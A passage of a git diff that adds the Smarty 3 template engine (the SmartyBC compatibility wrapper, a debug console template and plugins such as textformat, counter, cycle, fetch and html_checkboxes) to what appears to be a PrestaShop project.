'smarty_internal_', 16) || isset($_classes[$_class])) { + include SMARTY_SYSPLUGINS_DIR . $_class . '.php'; + } +} + +?> diff --git a/tools/smarty/SmartyBC.class.php b/tools/smarty/SmartyBC.class.php new file mode 100755 index 0000000..589dcca --- /dev/null +++ b/tools/smarty/SmartyBC.class.php @@ -0,0 +1,460 @@ + + * @author Uwe Tews + * @author Rodney Rehm + * @package Smarty + */ +/** + * @ignore + */ +require(dirname(__FILE__) . '/Smarty.class.php'); + +/** + * Smarty Backward Compatability Wrapper Class + * + * @package Smarty + */ +class SmartyBC extends Smarty { + + /** + * Smarty 2 BC + * @var string + */ + public $_version = self::SMARTY_VERSION; + + /** + * Initialize new SmartyBC object + * + * @param array $options options to set during initialization, e.g. array( 'forceCompile' => false ) + */ + public function __construct(array $options=array()) + { + parent::__construct($options); + // register {php} tag + $this->registerPlugin('block', 'php', 'smarty_php_tag'); + } + + /** + * wrapper for assign_by_ref + * + * @param string $tpl_var the template variable name + * @param mixed &$value the referenced value to assign + */ + public function assign_by_ref($tpl_var, &$value) + { + $this->assignByRef($tpl_var, $value); + } + + /** + * wrapper for append_by_ref + * + * @param string $tpl_var the template variable name + * @param mixed &$value the referenced value to append + * @param boolean $merge flag if array elements shall be merged + */ + public function append_by_ref($tpl_var, &$value, $merge = false) + { + $this->appendByRef($tpl_var, $value, $merge); + } + + /** + * clear the given assigned template variable. + * + * @param string $tpl_var the template variable to clear + */ + public function clear_assign($tpl_var) + { + $this->clearAssign($tpl_var); + } + + /** + * Registers custom function to be used in templates + * + * @param string $function the name of the template function + * @param string $function_impl the name of the PHP function to register + * @param bool $cacheable + * @param mixed $cache_attrs + */ + public function register_function($function, $function_impl, $cacheable=true, $cache_attrs=null) + { + $this->registerPlugin('function', $function, $function_impl, $cacheable, $cache_attrs); + } + + /** + * Unregisters custom function + * + * @param string $function name of template function + */ + public function unregister_function($function) + { + $this->unregisterPlugin('function', $function); + } + + /** + * Registers object to be used in templates + * + * @param string $object name of template object + * @param object $object_impl the referenced PHP object to register + * @param array $allowed list of allowed methods (empty = all) + * @param boolean $smarty_args smarty argument format, else traditional + * @param array $block_functs list of methods that are block format + */ + public function register_object($object, $object_impl, $allowed = array(), $smarty_args = true, $block_methods = array()) + { + settype($allowed, 'array'); + settype($smarty_args, 'boolean'); + $this->registerObject($object, $object_impl, $allowed, $smarty_args, $block_methods); + } + + /** + * Unregisters object + * + * @param string $object name of template object + */ + public function unregister_object($object) + { + $this->unregisterObject($object); + } + + /** + * Registers block function to be used in templates + * + * @param string $block name of template block + * @param string $block_impl PHP function to register + * @param bool $cacheable + * @param mixed $cache_attrs + */ + public function register_block($block, $block_impl, $cacheable=true, $cache_attrs=null) + { + $this->registerPlugin('block', $block, $block_impl, $cacheable, $cache_attrs); + } + + /** + * Unregisters block function + * + * @param string $block name of template function + */ + public function unregister_block($block) + { + $this->unregisterPlugin('block', $block); + } + + /** + * Registers compiler function + * + * @param string $function name of template function + * @param string $function_impl name of PHP function to register + * @param bool $cacheable + */ + public function register_compiler_function($function, $function_impl, $cacheable=true) + { + $this->registerPlugin('compiler', $function, $function_impl, $cacheable); + } + + /** + * Unregisters compiler function + * + * @param string $function name of template function + */ + public function unregister_compiler_function($function) + { + $this->unregisterPlugin('compiler', $function); + } + + /** + * Registers modifier to be used in templates + * + * @param string $modifier name of template modifier + * @param string $modifier_impl name of PHP function to register + */ + public function register_modifier($modifier, $modifier_impl) + { + $this->registerPlugin('modifier', $modifier, $modifier_impl); + } + + /** + * Unregisters modifier + * + * @param string $modifier name of template modifier + */ + public function unregister_modifier($modifier) + { + $this->unregisterPlugin('modifier', $modifier); + } + + /** + * Registers a resource to fetch a template + * + * @param string $type name of resource + * @param array $functions array of functions to handle resource + */ + public function register_resource($type, $functions) + { + $this->registerResource($type, $functions); + } + + /** + * Unregisters a resource + * + * @param string $type name of resource + */ + public function unregister_resource($type) + { + $this->unregisterResource($type); + } + + /** + * Registers a prefilter function to apply + * to a template before compiling + * + * @param callable $function + */ + public function register_prefilter($function) + { + $this->registerFilter('pre', $function); + } + + /** + * Unregisters a prefilter function + * + * @param callable $function + */ + public function unregister_prefilter($function) + { + $this->unregisterFilter('pre', $function); + } + + /** + * Registers a postfilter function to apply + * to a compiled template after compilation + * + * @param callable $function + */ + public function register_postfilter($function) + { + $this->registerFilter('post', $function); + } + + /** + * Unregisters a postfilter function + * + * @param callable $function + */ + public function unregister_postfilter($function) + { + $this->unregisterFilter('post', $function); + } + + /** + * Registers an output filter function to apply + * to a template output + * + * @param callable $function + */ + public function register_outputfilter($function) + { + $this->registerFilter('output', $function); + } + + /** + * Unregisters an outputfilter function + * + * @param callable $function + */ + public function unregister_outputfilter($function) + { + $this->unregisterFilter('output', $function); + } + + /** + * load a filter of specified type and name + * + * @param string $type filter type + * @param string $name filter name + */ + public function load_filter($type, $name) + { + $this->loadFilter($type, $name); + } + + /** + * clear cached content for the given template and cache id + * + * @param string $tpl_file name of template file + * @param string $cache_id name of cache_id + * @param string $compile_id name of compile_id + * @param string $exp_time expiration time + * @return boolean + */ + public function clear_cache($tpl_file = null, $cache_id = null, $compile_id = null, $exp_time = null) + { + return $this->clearCache($tpl_file, $cache_id, $compile_id, $exp_time); + } + + /** + * clear the entire contents of cache (all templates) + * + * @param string $exp_time expire time + * @return boolean + */ + public function clear_all_cache($exp_time = null) + { + return $this->clearCache(null, null, null, $exp_time); + } + + /** + * test to see if valid cache exists for this template + * + * @param string $tpl_file name of template file + * @param string $cache_id + * @param string $compile_id + * @return boolean + */ + public function is_cached($tpl_file, $cache_id = null, $compile_id = null) + { + return $this->isCached($tpl_file, $cache_id, $compile_id); + } + + /** + * clear all the assigned template variables. + */ + public function clear_all_assign() + { + $this->clearAllAssign(); + } + + /** + * clears compiled version of specified template resource, + * or all compiled template files if one is not specified. + * This function is for advanced use only, not normally needed. + * + * @param string $tpl_file + * @param string $compile_id + * @param string $exp_time + * @return boolean results of {@link smarty_core_rm_auto()} + */ + public function clear_compiled_tpl($tpl_file = null, $compile_id = null, $exp_time = null) + { + return $this->clearCompiledTemplate($tpl_file, $compile_id, $exp_time); + } + + /** + * Checks whether requested template exists. + * + * @param string $tpl_file + * @return boolean + */ + public function template_exists($tpl_file) + { + return $this->templateExists($tpl_file); + } + + /** + * Returns an array containing template variables + * + * @param string $name + * @return array + */ + public function get_template_vars($name=null) + { + return $this->getTemplateVars($name); + } + + /** + * Returns an array containing config variables + * + * @param string $name + * @return array + */ + public function get_config_vars($name=null) + { + return $this->getConfigVars($name); + } + + /** + * load configuration values + * + * @param string $file + * @param string $section + * @param string $scope + */ + public function config_load($file, $section = null, $scope = 'global') + { + $this->ConfigLoad($file, $section, $scope); + } + + /** + * return a reference to a registered object + * + * @param string $name + * @return object + */ + public function get_registered_object($name) + { + return $this->getRegisteredObject($name); + } + + /** + * clear configuration values + * + * @param string $var + */ + public function clear_config($var = null) + { + $this->clearConfig($var); + } + + /** + * trigger Smarty error + * + * @param string $error_msg + * @param integer $error_type + */ + public function trigger_error($error_msg, $error_type = E_USER_WARNING) + { + trigger_error("Smarty error: $error_msg", $error_type); + } + +} + +/** + * Smarty {php}{/php} block function + * + * @param array $params parameter list + * @param string $content contents of the block + * @param object $template template object + * @param boolean &$repeat repeat flag + * @return string content re-formatted + */ +function smarty_php_tag($params, $content, $template, &$repeat) +{ + eval($content); + return ''; +} + +?> \ No newline at end of file diff --git a/tools/smarty/debug.tpl b/tools/smarty/debug.tpl new file mode 100755 index 0000000..12eef0f --- /dev/null +++ b/tools/smarty/debug.tpl @@ -0,0 +1,133 @@ +{capture name='_smarty_debug' assign=debug_output} + + + + Smarty Debug Console + + + + +

        Smarty Debug Console - {if isset($template_name)}{$template_name|debug_print_var nofilter}{else}Total Time {$execution_time|string_format:"%.5f"}{/if}

        + +{if !empty($template_data)} +

        included templates & config files (load time in seconds)

        + +
        +{foreach $template_data as $template} + {$template.name} + + (compile {$template['compile_time']|string_format:"%.5f"}) (render {$template['render_time']|string_format:"%.5f"}) (cache {$template['cache_time']|string_format:"%.5f"}) + +
        +{/foreach} +
        +{/if} + +

        assigned template variables

        + + + {foreach $assigned_vars as $vars} + + + + {/foreach} +
        ${$vars@key|escape:'html'}{$vars|debug_print_var nofilter}
        + +

        assigned config file variables (outer template scope)

        + + + {foreach $config_vars as $vars} + + + + {/foreach} + +
        {$vars@key|escape:'html'}{$vars|debug_print_var nofilter}
        + + +{/capture} + diff --git a/tools/smarty/index.php b/tools/smarty/index.php new file mode 100755 index 0000000..c1c95ce --- /dev/null +++ b/tools/smarty/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/tools/smarty/plugins/block.textformat.php b/tools/smarty/plugins/block.textformat.php new file mode 100755 index 0000000..b22b104 --- /dev/null +++ b/tools/smarty/plugins/block.textformat.php @@ -0,0 +1,113 @@ + + * Name: textformat
        + * Purpose: format text a certain way with preset styles + * or custom wrap/indent settings
        + * Params: + *
        + * - style         - string (email)
        + * - indent        - integer (0)
        + * - wrap          - integer (80)
        + * - wrap_char     - string ("\n")
        + * - indent_char   - string (" ")
        + * - wrap_boundary - boolean (true)
        + * 
        + * + * @link http://www.smarty.net/manual/en/language.function.textformat.php {textformat} + * (Smarty online manual) + * @param array $params parameters + * @param string $content contents of the block + * @param Smarty_Internal_Template $template template object + * @param boolean &$repeat repeat flag + * @return string content re-formatted + * @author Monte Ohrt + */ +function smarty_block_textformat($params, $content, $template, &$repeat) +{ + if (is_null($content)) { + return; + } + + $style = null; + $indent = 0; + $indent_first = 0; + $indent_char = ' '; + $wrap = 80; + $wrap_char = "\n"; + $wrap_cut = false; + $assign = null; + + foreach ($params as $_key => $_val) { + switch ($_key) { + case 'style': + case 'indent_char': + case 'wrap_char': + case 'assign': + $$_key = (string)$_val; + break; + + case 'indent': + case 'indent_first': + case 'wrap': + $$_key = (int)$_val; + break; + + case 'wrap_cut': + $$_key = (bool)$_val; + break; + + default: + trigger_error("textformat: unknown attribute '$_key'"); + } + } + + if ($style == 'email') { + $wrap = 72; + } + // split into paragraphs + $_paragraphs = preg_split('![\r\n]{2}!', $content); + $_output = ''; + + + foreach ($_paragraphs as &$_paragraph) { + if (!$_paragraph) { + continue; + } + // convert mult. spaces & special chars to single space + $_paragraph = preg_replace(array('!\s+!' . Smarty::$_UTF8_MODIFIER, '!(^\s+)|(\s+$)!' . Smarty::$_UTF8_MODIFIER), array(' ', ''), $_paragraph); + // indent first line + if ($indent_first > 0) { + $_paragraph = str_repeat($indent_char, $indent_first) . $_paragraph; + } + // wordwrap sentences + if (Smarty::$_MBSTRING) { + require_once(SMARTY_PLUGINS_DIR . 'shared.mb_wordwrap.php'); + $_paragraph = smarty_mb_wordwrap($_paragraph, $wrap - $indent, $wrap_char, $wrap_cut); + } else { + $_paragraph = wordwrap($_paragraph, $wrap - $indent, $wrap_char, $wrap_cut); + } + // indent lines + if ($indent > 0) { + $_paragraph = preg_replace('!^!m', str_repeat($indent_char, $indent), $_paragraph); + } + } + $_output = implode($wrap_char . $wrap_char, $_paragraphs); + + if ($assign) { + $template->assign($assign, $_output); + } else { + return $_output; + } +} + +?> \ No newline at end of file diff --git a/tools/smarty/plugins/function.counter.php b/tools/smarty/plugins/function.counter.php new file mode 100755 index 0000000..3906bad --- /dev/null +++ b/tools/smarty/plugins/function.counter.php @@ -0,0 +1,78 @@ + + * Name: counter
        + * Purpose: print out a counter value + * + * @author Monte Ohrt + * @link http://www.smarty.net/manual/en/language.function.counter.php {counter} + * (Smarty online manual) + * @param array $params parameters + * @param Smarty_Internal_Template $template template object + * @return string|null + */ +function smarty_function_counter($params, $template) +{ + static $counters = array(); + + $name = (isset($params['name'])) ? $params['name'] : 'default'; + if (!isset($counters[$name])) { + $counters[$name] = array( + 'start'=>1, + 'skip'=>1, + 'direction'=>'up', + 'count'=>1 + ); + } + $counter =& $counters[$name]; + + if (isset($params['start'])) { + $counter['start'] = $counter['count'] = (int)$params['start']; + } + + if (!empty($params['assign'])) { + $counter['assign'] = $params['assign']; + } + + if (isset($counter['assign'])) { + $template->assign($counter['assign'], $counter['count']); + } + + if (isset($params['print'])) { + $print = (bool)$params['print']; + } else { + $print = empty($counter['assign']); + } + + if ($print) { + $retval = $counter['count']; + } else { + $retval = null; + } + + if (isset($params['skip'])) { + $counter['skip'] = $params['skip']; + } + + if (isset($params['direction'])) { + $counter['direction'] = $params['direction']; + } + + if ($counter['direction'] == "down") + $counter['count'] -= $counter['skip']; + else + $counter['count'] += $counter['skip']; + + return $retval; + +} + +?> \ No newline at end of file diff --git a/tools/smarty/plugins/function.cycle.php b/tools/smarty/plugins/function.cycle.php new file mode 100755 index 0000000..1778ffb --- /dev/null +++ b/tools/smarty/plugins/function.cycle.php @@ -0,0 +1,106 @@ + + * Name: cycle
        + * Date: May 3, 2002
        + * Purpose: cycle through given values
        + * Params: + *
        + * - name      - name of cycle (optional)
        + * - values    - comma separated list of values to cycle, or an array of values to cycle
        + *               (this can be left out for subsequent calls)
        + * - reset     - boolean - resets given var to true
        + * - print     - boolean - print var or not. default is true
        + * - advance   - boolean - whether or not to advance the cycle
        + * - delimiter - the value delimiter, default is ","
        + * - assign    - boolean, assigns to template var instead of printed.
        + * 
        + * Examples:
        + *
        + * {cycle values="#eeeeee,#d0d0d0d"}
        + * {cycle name=row values="one,two,three" reset=true}
        + * {cycle name=row}
        + * 
        + * + * @link http://www.smarty.net/manual/en/language.function.cycle.php {cycle} + * (Smarty online manual) + * @author Monte Ohrt + * @author credit to Mark Priatel + * @author credit to Gerard + * @author credit to Jason Sweat + * @version 1.3 + * @param array $params parameters + * @param Smarty_Internal_Template $template template object + * @return string|null + */ + +function smarty_function_cycle($params, $template) +{ + static $cycle_vars; + + $name = (empty($params['name'])) ? 'default' : $params['name']; + $print = (isset($params['print'])) ? (bool)$params['print'] : true; + $advance = (isset($params['advance'])) ? (bool)$params['advance'] : true; + $reset = (isset($params['reset'])) ? (bool)$params['reset'] : false; + + if (!isset($params['values'])) { + if(!isset($cycle_vars[$name]['values'])) { + trigger_error("cycle: missing 'values' parameter"); + return; + } + } else { + if(isset($cycle_vars[$name]['values']) + && $cycle_vars[$name]['values'] != $params['values'] ) { + $cycle_vars[$name]['index'] = 0; + } + $cycle_vars[$name]['values'] = $params['values']; + } + + if (isset($params['delimiter'])) { + $cycle_vars[$name]['delimiter'] = $params['delimiter']; + } elseif (!isset($cycle_vars[$name]['delimiter'])) { + $cycle_vars[$name]['delimiter'] = ','; + } + + if(is_array($cycle_vars[$name]['values'])) { + $cycle_array = $cycle_vars[$name]['values']; + } else { + $cycle_array = explode($cycle_vars[$name]['delimiter'],$cycle_vars[$name]['values']); + } + + if(!isset($cycle_vars[$name]['index']) || $reset ) { + $cycle_vars[$name]['index'] = 0; + } + + if (isset($params['assign'])) { + $print = false; + $template->assign($params['assign'], $cycle_array[$cycle_vars[$name]['index']]); + } + + if($print) { + $retval = $cycle_array[$cycle_vars[$name]['index']]; + } else { + $retval = null; + } + + if($advance) { + if ( $cycle_vars[$name]['index'] >= count($cycle_array) -1 ) { + $cycle_vars[$name]['index'] = 0; + } else { + $cycle_vars[$name]['index']++; + } + } + + return $retval; +} + +?> \ No newline at end of file diff --git a/tools/smarty/plugins/function.fetch.php b/tools/smarty/plugins/function.fetch.php new file mode 100755 index 0000000..eca1182 --- /dev/null +++ b/tools/smarty/plugins/function.fetch.php @@ -0,0 +1,214 @@ + + * Name: fetch
        + * Purpose: fetch file, web or ftp data and display results + * + * @link http://www.smarty.net/manual/en/language.function.fetch.php {fetch} + * (Smarty online manual) + * @author Monte Ohrt + * @param array $params parameters + * @param Smarty_Internal_Template $template template object + * @return string|null if the assign parameter is passed, Smarty assigns the result to a template variable + */ +function smarty_function_fetch($params, $template) +{ + if (empty($params['file'])) { + trigger_error("[plugin] fetch parameter 'file' cannot be empty",E_USER_NOTICE); + return; + } + + // strip file protocol + if (stripos($params['file'], 'file://') === 0) { + $params['file'] = substr($params['file'], 7); + } + + $protocol = strpos($params['file'], '://'); + if ($protocol !== false) { + $protocol = strtolower(substr($params['file'], 0, $protocol)); + } + + if (isset($template->smarty->security_policy)) { + if ($protocol) { + // remote resource (or php stream, …) + if(!$template->smarty->security_policy->isTrustedUri($params['file'])) { + return; + } + } else { + // local file + if(!$template->smarty->security_policy->isTrustedResourceDir($params['file'])) { + return; + } + } + } + + $content = ''; + if ($protocol == 'http') { + // http fetch + if($uri_parts = parse_url($params['file'])) { + // set defaults + $host = $server_name = $uri_parts['host']; + $timeout = 30; + $accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*"; + $agent = "Smarty Template Engine ". Smarty::SMARTY_VERSION; + $referer = ""; + $uri = !empty($uri_parts['path']) ? $uri_parts['path'] : '/'; + $uri .= !empty($uri_parts['query']) ? '?' . $uri_parts['query'] : ''; + $_is_proxy = false; + if(empty($uri_parts['port'])) { + $port = 80; + } else { + $port = $uri_parts['port']; + } + if(!empty($uri_parts['user'])) { + $user = $uri_parts['user']; + } + if(!empty($uri_parts['pass'])) { + $pass = $uri_parts['pass']; + } + // loop through parameters, setup headers + foreach($params as $param_key => $param_value) { + switch($param_key) { + case "file": + case "assign": + case "assign_headers": + break; + case "user": + if(!empty($param_value)) { + $user = $param_value; + } + break; + case "pass": + if(!empty($param_value)) { + $pass = $param_value; + } + break; + case "accept": + if(!empty($param_value)) { + $accept = $param_value; + } + break; + case "header": + if(!empty($param_value)) { + if(!preg_match('![\w\d-]+: .+!',$param_value)) { + trigger_error("[plugin] invalid header format '".$param_value."'",E_USER_NOTICE); + return; + } else { + $extra_headers[] = $param_value; + } + } + break; + case "proxy_host": + if(!empty($param_value)) { + $proxy_host = $param_value; + } + break; + case "proxy_port": + if(!preg_match('!\D!', $param_value)) { + $proxy_port = (int) $param_value; + } else { + trigger_error("[plugin] invalid value for attribute '".$param_key."'",E_USER_NOTICE); + return; + } + break; + case "agent": + if(!empty($param_value)) { + $agent = $param_value; + } + break; + case "referer": + if(!empty($param_value)) { + $referer = $param_value; + } + break; + case "timeout": + if(!preg_match('!\D!', $param_value)) { + $timeout = (int) $param_value; + } else { + trigger_error("[plugin] invalid value for attribute '".$param_key."'",E_USER_NOTICE); + return; + } + break; + default: + trigger_error("[plugin] unrecognized attribute '".$param_key."'",E_USER_NOTICE); + return; + } + } + if(!empty($proxy_host) && !empty($proxy_port)) { + $_is_proxy = true; + $fp = fsockopen($proxy_host,$proxy_port,$errno,$errstr,$timeout); + } else { + $fp = fsockopen($server_name,$port,$errno,$errstr,$timeout); + } + + if(!$fp) { + trigger_error("[plugin] unable to fetch: $errstr ($errno)",E_USER_NOTICE); + return; + } else { + if($_is_proxy) { + fputs($fp, 'GET ' . $params['file'] . " HTTP/1.0\r\n"); + } else { + fputs($fp, "GET $uri HTTP/1.0\r\n"); + } + if(!empty($host)) { + fputs($fp, "Host: $host\r\n"); + } + if(!empty($accept)) { + fputs($fp, "Accept: $accept\r\n"); + } + if(!empty($agent)) { + fputs($fp, "User-Agent: $agent\r\n"); + } + if(!empty($referer)) { + fputs($fp, "Referer: $referer\r\n"); + } + if(isset($extra_headers) && is_array($extra_headers)) { + foreach($extra_headers as $curr_header) { + fputs($fp, $curr_header."\r\n"); + } + } + if(!empty($user) && !empty($pass)) { + fputs($fp, "Authorization: BASIC ".base64_encode("$user:$pass")."\r\n"); + } + + fputs($fp, "\r\n"); + while(!feof($fp)) { + $content .= fgets($fp,4096); + } + fclose($fp); + $csplit = preg_split("!\r\n\r\n!",$content,2); + + $content = $csplit[1]; + + if(!empty($params['assign_headers'])) { + $template->assign($params['assign_headers'],preg_split("!\r\n!",$csplit[0])); + } + } + } else { + trigger_error("[plugin fetch] unable to parse URL, check syntax",E_USER_NOTICE); + return; + } + } else { + $content = @file_get_contents($params['file']); + if ($content === false) { + throw new SmartyException("{fetch} cannot read resource '" . $params['file'] ."'"); + } + } + + if (!empty($params['assign'])) { + $template->assign($params['assign'], $content); + } else { + return $content; + } +} + +?> \ No newline at end of file diff --git a/tools/smarty/plugins/function.html_checkboxes.php b/tools/smarty/plugins/function.html_checkboxes.php new file mode 100755 index 0000000..1866bc2 --- /dev/null +++ b/tools/smarty/plugins/function.html_checkboxes.php @@ -0,0 +1,233 @@ + + * Type: function
        + * Name: html_checkboxes
        + * Date: 24.Feb.2003
        + * Purpose: Prints out a list of checkbox input types
        + * Examples: + *
        + * {html_checkboxes values=$ids output=$names}
        + * {html_checkboxes values=$ids name='box' separator='
        ' output=$names} + * {html_checkboxes values=$ids checked=$checked separator='
        ' output=$names} + *
        + * Params: + *
        + * - name       (optional) - string default "checkbox"
        + * - values     (required) - array
        + * - options    (optional) - associative array
        + * - checked    (optional) - array default not set
        + * - separator  (optional) - ie 
        or   + * - output (optional) - the output next to each checkbox + * - assign (optional) - assign the output as an array to this variable + * - escape (optional) - escape the content (not value), defaults to true + *
        + * + * @link http://www.smarty.net/manual/en/language.function.html.checkboxes.php {html_checkboxes} + * (Smarty online manual) + * @author Christopher Kvarme + * @author credits to Monte Ohrt + * @version 1.0 + * @param array $params parameters + * @param object $template template object + * @return string + * @uses smarty_function_escape_special_chars() + */ +function smarty_function_html_checkboxes($params, $template) +{ + require_once(SMARTY_PLUGINS_DIR . 'shared.escape_special_chars.php'); + + $name = 'checkbox'; + $values = null; + $options = null; + $selected = array(); + $separator = ''; + $escape = true; + $labels = true; + $label_ids = false; + $output = null; + + $extra = ''; + + foreach($params as $_key => $_val) { + switch($_key) { + case 'name': + case 'separator': + $$_key = (string) $_val; + break; + + case 'escape': + case 'labels': + case 'label_ids': + $$_key = (bool) $_val; + break; + + case 'options': + $$_key = (array) $_val; + break; + + case 'values': + case 'output': + $$_key = array_values((array) $_val); + break; + + case 'checked': + case 'selected': + if (is_array($_val)) { + $selected = array(); + foreach ($_val as $_sel) { + if (is_object($_sel)) { + if (method_exists($_sel, "__toString")) { + $_sel = smarty_function_escape_special_chars((string) $_sel->__toString()); + } else { + trigger_error("html_checkboxes: selected attribute contains an object of class '". get_class($_sel) ."' without __toString() method", E_USER_NOTICE); + continue; + } + } else { + $_sel = smarty_function_escape_special_chars((string) $_sel); + } + $selected[$_sel] = true; + } + } elseif (is_object($_val)) { + if (method_exists($_val, "__toString")) { + $selected = smarty_function_escape_special_chars((string) $_val->__toString()); + } else { + trigger_error("html_checkboxes: selected attribute is an object of class '". get_class($_val) ."' without __toString() method", E_USER_NOTICE); + } + } else { + $selected = smarty_function_escape_special_chars((string) $_val); + } + break; + + case 'checkboxes': + trigger_error('html_checkboxes: the use of the "checkboxes" attribute is deprecated, use "options" instead', E_USER_WARNING); + $options = (array) $_val; + break; + + case 'assign': + break; + + case 'strict': break; + + case 'disabled': + case 'readonly': + if (!empty($params['strict'])) { + if (!is_scalar($_val)) { + trigger_error("html_options: $_key attribute must be a scalar, only boolean true or string '$_key' will actually add the attribute", E_USER_NOTICE); + } + + if ($_val === true || $_val === $_key) { + $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_key) . '"'; + } + + break; + } + // omit break; to fall through! + + default: + if(!is_array($_val)) { + $extra .= ' '.$_key.'="'.smarty_function_escape_special_chars($_val).'"'; + } else { + trigger_error("html_checkboxes: extra attribute '$_key' cannot be an array", E_USER_NOTICE); + } + break; + } + } + + if (!isset($options) && !isset($values)) + return ''; /* raise error here? */ + + $_html_result = array(); + + if (isset($options)) { + foreach ($options as $_key=>$_val) { + $_html_result[] = smarty_function_html_checkboxes_output($name, $_key, $_val, $selected, $extra, $separator, $labels, $label_ids, $escape); + } + } else { + foreach ($values as $_i=>$_key) { + $_val = isset($output[$_i]) ? $output[$_i] : ''; + $_html_result[] = smarty_function_html_checkboxes_output($name, $_key, $_val, $selected, $extra, $separator, $labels, $label_ids, $escape); + } + } + + if(!empty($params['assign'])) { + $template->assign($params['assign'], $_html_result); + } else { + return implode("\n", $_html_result); + } + +} + +function smarty_function_html_checkboxes_output($name, $value, $output, $selected, $extra, $separator, $labels, $label_ids, $escape=true) { + $_output = ''; + + if (is_object($value)) { + if (method_exists($value, "__toString")) { + $value = (string) $value->__toString(); + } else { + trigger_error("html_options: value is an object of class '". get_class($value) ."' without __toString() method", E_USER_NOTICE); + return ''; + } + } else { + $value = (string) $value; + } + + if (is_object($output)) { + if (method_exists($output, "__toString")) { + $output = (string) $output->__toString(); + } else { + trigger_error("html_options: output is an object of class '". get_class($output) ."' without __toString() method", E_USER_NOTICE); + return ''; + } + } else { + $output = (string) $output; + } + + if ($labels) { + if ($label_ids) { + $_id = smarty_function_escape_special_chars(preg_replace('![^\w\-\.]!' . Smarty::$_UTF8_MODIFIER, '_', $name . '_' . $value)); + $_output .= '